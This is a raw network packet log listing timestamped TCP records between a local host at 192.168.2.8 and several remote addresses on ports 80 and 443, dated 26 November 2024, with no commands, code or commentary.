Nov 26, 2024 08:03:53.392122984 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.392138958 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.407078981 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.407114029 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.407172918 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.407190084 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.407217979 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.407321930 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.425889969 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.425923109 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.426014900 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.426047087 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.426194906 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.428209066 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.428239107 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.428292036 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.428309917 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.428322077 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.429075003 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.444917917 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.444999933 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.468929052 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.468957901 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.468996048 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.469010115 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.469026089 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.469046116 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.484764099 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:53.484808922 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:53.484966040 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:53.485434055 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:53.485449076 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:53.487665892 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.487693071 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.487742901 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.487776995 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.487804890 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.487827063 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.499941111 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.500102043 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.528055906 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.528075933 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.528134108 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.528156996 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.528206110 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.530395031 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.530424118 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.530461073 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.530509949 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.530525923 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.533360004 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.535085917 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.535178900 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.543196917 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.543231964 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.543258905 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.543279886 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.543297052 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.543319941 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.543346882 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.549881935 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.549901009 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.549983978 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.549999952 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.550209045 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.565521002 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.565545082 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.565579891 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.565599918 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.565630913 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.565649033 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.570352077 CET	49821	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.570375919 CET	443	49821	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.572379112 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.572438955 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.587778091 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.587796926 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.587896109 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.587918043 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.588037014 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.590099096 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.590147972 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.590315104 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.590356112 CET	443	49823	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.590483904 CET	49823	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.592976093 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:53.592997074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:53.593036890 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:53.593065023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:53.599332094 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:53.607160091 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.607243061 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.607258081 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.607300997 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.607568979 CET	49822	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:53.607587099 CET	443	49822	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:53.719358921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:53.971935034 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:53.971978903 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:53.972073078 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:53.972347975 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:53.972364902 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:54.060205936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:54.060280085 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:54.087383986 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:54.207637072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:54.349247932 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:54.349303961 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:54.349451065 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:54.349653006 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:54.349667072 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:54.921457052 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:54.921873093 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:54.921896935 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:54.922300100 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:54.926587105 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:54.926678896 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:54.927062988 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:54.927158117 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:54.927212954 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.037833929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:55.037919044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:55.065802097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:55.188930988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:55.287846088 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.288551092 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.288600922 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.289084911 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.289405107 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.289555073 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.289566994 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.289668083 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.289700985 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.526807070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:55.526878119 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:55.531091928 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:55.549983025 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.550064087 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.550204992 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.550585985 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.550601006 CET	443	49824	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.550611019 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.550647974 CET	49824	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.651206017 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:55.651401043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:55.651602030 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:55.771867037 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:55.773504972 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.773950100 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.773972988 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.775074959 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.775141954 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.775715113 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.775784016 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.775885105 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.775947094 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.775954008 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.805468082 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.805571079 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.805687904 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.806458950 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.806480885 CET	443	49825	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:55.806509018 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.806523085 CET	49825	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:55.819472075 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.205028057 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.205661058 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.205694914 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.206803083 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.206882954 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.207429886 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.207515955 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.207818985 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.207828999 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.207906008 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.207931042 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.257685900 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.428411961 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.428602934 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.428653955 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.429030895 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.429054022 CET	443	49826	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.429069042 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.429122925 CET	49826	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.809772015 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.809865952 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:56.810033083 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.811152935 CET	49827	443	192.168.2.8	20.189.173.17
Nov 26, 2024 08:03:56.811182022 CET	443	49827	20.189.173.17	192.168.2.8
Nov 26, 2024 08:03:57.030715942 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.030788898 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.030822039 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.030874014 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.031563044 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.031574965 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.031585932 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.031613111 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.031625986 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.032768011 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.032778978 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.032788992 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.032857895 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.033952951 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.033999920 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.034133911 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.034176111 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.150841951 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.150940895 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.150943041 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.150994062 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.154973030 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.155033112 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.156723976 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.156771898 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.156785011 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.156801939 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.231816053 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.231874943 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.231920958 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.232089043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.235918045 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.235965014 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.236032963 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.236130953 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.244319916 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.244374037 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.244426966 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.244551897 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.252757072 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.252835989 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.252868891 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.252968073 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.261874914 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.261882067 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.261924028 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.261950016 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.269632101 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.269680977 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.269733906 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.269799948 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.278027058 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.278076887 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.278168917 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.278251886 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.286470890 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.286521912 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.286576986 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.286628962 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.294981003 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.295044899 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.295094013 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.295142889 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.302659988 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.302686930 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.302716970 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.302727938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.310286045 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.310333967 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.396246910 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.396338940 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.396341085 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.396392107 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.400120020 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.400175095 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.433056116 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.433120012 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.433192015 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.433228970 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.435508013 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.435606956 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.435626984 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.435666084 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.440140963 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.440201998 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.440273046 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.440452099 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.444911003 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.444974899 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.445027113 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.445085049 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.449668884 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.449721098 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.449781895 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.449817896 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.454405069 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.454524994 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.454545021 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.454561949 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.459187984 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.459261894 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.459408045 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.464282990 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.464303017 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.464358091 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.464386940 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.468735933 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.468749046 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.468800068 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.468837023 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.473433018 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.473498106 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.473551035 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.473757029 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.478193998 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.478303909 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.478362083 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.478530884 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.483000040 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.483056068 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.483113050 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.483160973 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.487816095 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.487827063 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.487895012 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.492414951 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.492479086 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.492649078 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.492707968 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.497786045 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.497864008 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.497947931 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.498013020 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.502090931 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.502101898 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.502161980 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.506733894 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.506763935 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.506820917 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.511413097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.511499882 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.511514902 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.511570930 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.516185045 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.516274929 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.516292095 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.516550064 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.520926952 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.521025896 CET	49829	80	192.168.2.8	185.215.113.16
Nov 26, 2024 08:03:57.521034956 CET	80	49829	185.215.113.16	192.168.2.8
Nov 26, 2024 08:03:57.521090984 CET	49829	80	192.168.2.8	185.215.113.16
